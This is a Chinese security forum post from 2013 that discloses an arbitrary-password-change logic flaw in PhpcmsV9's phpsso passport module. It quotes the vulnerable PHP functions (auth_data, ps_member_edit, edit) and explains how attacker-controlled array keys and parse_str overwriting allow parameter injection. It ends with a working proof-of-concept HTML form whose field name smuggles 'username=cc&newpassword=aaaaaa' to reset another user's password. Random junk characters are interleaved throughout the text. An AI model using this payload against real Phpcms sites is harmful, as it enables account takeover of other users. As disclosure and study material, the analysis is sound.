找回密码
 立即注册
查看: 2923|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:/ v& ^. Q% o2 e8 t! t6 G
( [/ d! Z6 @; o+ U* |0 Z1 t
  p5 b6 @; t% k  G% w# w& H' K* v0 G
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
: @) o3 B( k" i& k/ I' `
. L3 m* S0 E$ ~$ x在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。2 J7 r9 V6 h; P
. e8 m' b  Z" L. g$ t" I
我把它留给了你们。  z. E( A3 h& m2 S, ]8 g
不知道你们发现了它没有。4 {9 z3 |# H  [$ Q# D% A, g# [

1 K" p4 A. }  h2 n我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
) \' l7 C: I; P2 ], p" u4 h/ O, z- `% k  R6 H* ~
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。7 V0 f$ |: H( E! K) C
! ~; K; v( X$ A) e& p9 ^$ V: U9 z) Q7 w
也就是- @2 N7 F+ u1 `  q! H* C
; d  G' g, R9 N8 H& ~' N( I: Q
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
+ n# E: M  |6 h/ f
8 x$ ?- q6 v3 j1 ^0 ?3 t$ j要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。$ l3 k% C" ?- ?  t

( n* M4 o  C: \* B& {2 M. ]1 L0 W
* y5 j. t* E4 W其实我们有这样的机会,看看代码,如下:9 ?$ z% z* s3 h& L% I
) @2 D# R$ `, v+ g1 b5 P

* e, z( o" S3 m8 kpublic function auth_data($data) {9 ^5 X0 R6 y0 b8 k
                $s = $sep = '';. @8 w" s% d6 G4 X. c$ a1 v: c
                foreach($data as $k => $v) {
4 S. g6 K2 I. h1 O& Z                        if(is_array($v)) {
4 e4 j3 W- q7 i                                $s2 = $sep2 = '';
  d1 w: a6 H  j+ d$ \2 {% p                                foreach($v as $k2 => $v2) {. w% K5 W1 q- x
                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);) t6 B5 N' X* Z  j- ?  o' ?
                                        $sep2 = '&';
- J1 t- h5 f! ^+ U: s                                }
7 f' V  h0 @& v                                $s .= $sep.$s2;
9 Y3 F# [. A7 s3 N& M                        } else {
) D1 a* _, j8 s! J; W                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
4 ]: ]  j$ F% G5 H" F                        }
2 l7 m) m9 a, o: r9 o1 }                        $sep = '&';
6 q, l* @( u/ K& H; e' l' N3 Q                }
' t" I1 A- z  q1 k! U+ I3 J. G4 S# @6 ~+ t, X
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));% R; l7 u9 G2 ^+ T# f& s
                return $auth_s;
6 v# S0 H6 f: m0 w        }
9 P+ J- J! W5 V" P' l6 _! L" @/ H9 v; |1 U
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
9 x/ f" }  z% r$ K9 v5 E
9 h# Q* @) m  w- q1 H6 D举个例子
, I6 {7 t% `0 n* Y: H$ w- L' n+ U
2 y9 v; h& Y- f3 N8 m$a[aaa=a&bbb] = 'a';! W; I/ G/ [" B
% z4 b- l; M' q; e+ F
会变成aaa=a&bbb=a/ D$ l% U* `1 }, m0 O% Z  y/ x
4 ]% S. m# H) f; J2 a  L) D6 _
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
! b- I8 R2 B3 `6 V# B
4 L# I1 X! C% k; W' p, j0 r这个时候,我们可以再去看一个函数。
$ S/ y+ t. C& r7 W/ k
+ Y" R, b! c: x5 d& c) m* v就在这个文件内:
, A* |4 E1 @: }# y5 M8 _; I9 H2 e0 ~  k$ s% T

$ {/ E9 c, J( `! E8 cpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {9 [! ^  D  C: l$ g9 K# X3 Y
                if($email && !$this->_is_email($email)) {' I) J' m! I9 T/ ^  i
                        return -4;
) w2 F& w1 N' x                }
, b5 u! z9 y2 f                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));; S4 d+ J) |# }4 H
        }! Q  _: e1 w5 j

5 X, u  T1 S+ M/ e5 z- ^这是向通行证发了这样一个请求。
8 V* I4 V' H/ |0 i8 h0 S; z; U& Q* R2 v. V3 M9 R
我们再跟到通信证代码里去看看,就会有所发现。# {3 ^/ s2 K  r1 T( V

; o; \* p9 O8 m0 M; _' _6 ]! ]' Q* A0 p
public function edit() {& |; x6 B3 f1 |0 o4 w! b
//能省就省,太长了不是吗?
! `8 B0 p) c) ]6 p& o! j7 e6 m9 Q$ F8 i. g# ?6 c7 b2 w
if($this->username) {; o' c: _  s* n- H7 \! S* l
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
+ W+ p1 A7 w) w! G/ P: C                                $res = $this->db->update($data, array('username'=>$this->username));
1 F5 i$ }* I5 _" I0 M% e                        } else {
3 c+ q) a6 y2 x* @7 C- ~, S) J  n                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);; T7 \4 r( y& T! t/ s7 g; I
                                $res = $this->db->update($data, array('uid'=>$this->uid));, f* `9 I5 M8 |9 m
                        }2 ^, L- P, v% w7 g3 p
& M; Q7 W" _6 i8 i  K" u
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
. g- z8 X7 U" I2 q& o* u
' B, Q+ N, b8 tpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')1 P0 N+ x, J7 e/ h# O$ n

# R3 d0 y! ?9 V/ x0 N很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
+ c+ W- t) c3 {( f6 W6 V# g& ^6 p; A& w
我当然找到了:+ x. S# A; q+ e* t! N9 t# x( D
phpcms9/phpcms/modules/member/index.php7 D: p6 a) D, L1 z% [& `
9 ^0 A# o' z. j5 }( Z: p
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);& Y, i: ]- t% k' R4 ?, C. @. i) d
% ]' Y# q* y" \5 O" j! s( U  N
然后就没有然后了。! m7 z& s3 E3 B. Z* b6 g* e

+ Z! x7 C) D; J<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
* c- a1 X0 ^$ x                                <table width="100%" cellspacing="0" class="table_form">8 b5 C7 j+ i, \( k/ ]' e0 V
                                        <tr>3 P) Q1 ?8 L5 b2 @* s' C
                                                <th width="80">邮箱:</th>        
; S7 a2 o+ a. k, u. O% I9 s- f                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
1 ]' G. s+ X) M+ [; b% L                                        </tr>' V' Z" K4 K; l" j% C( ]
                                        <tr>& r9 T0 X/ ?! x( s3 F: {! M( \5 B
                                                <th width="80">原密码:</th>        
- m6 W* Q! _! L. T                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
1 ~6 n, `$ M' F4 \                                        </tr>, T& L# M# e" S
                                        <tr>
' c( i2 x8 g7 k                                                <th>新密码:</th>
: v, @" |: z: ]                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>; d: ^; P7 S  D& `$ ]4 U" a
                                        </tr>+ q5 `$ o! B3 K" G8 x
                                        <th></th>( Y3 X5 d: V. }, C
                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
( K5 m3 [( f4 q                                        </tr>
7 L$ C6 r+ E6 X0 m( C                                </table>
% W1 u" L8 |- N1 N9 D6 t: G+ A& @& H/ w2 e3 w
                               
  J. g6 W3 H% x- @- G7 m6 Z; y                        </form>* @1 x9 K- T" J$ l! n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表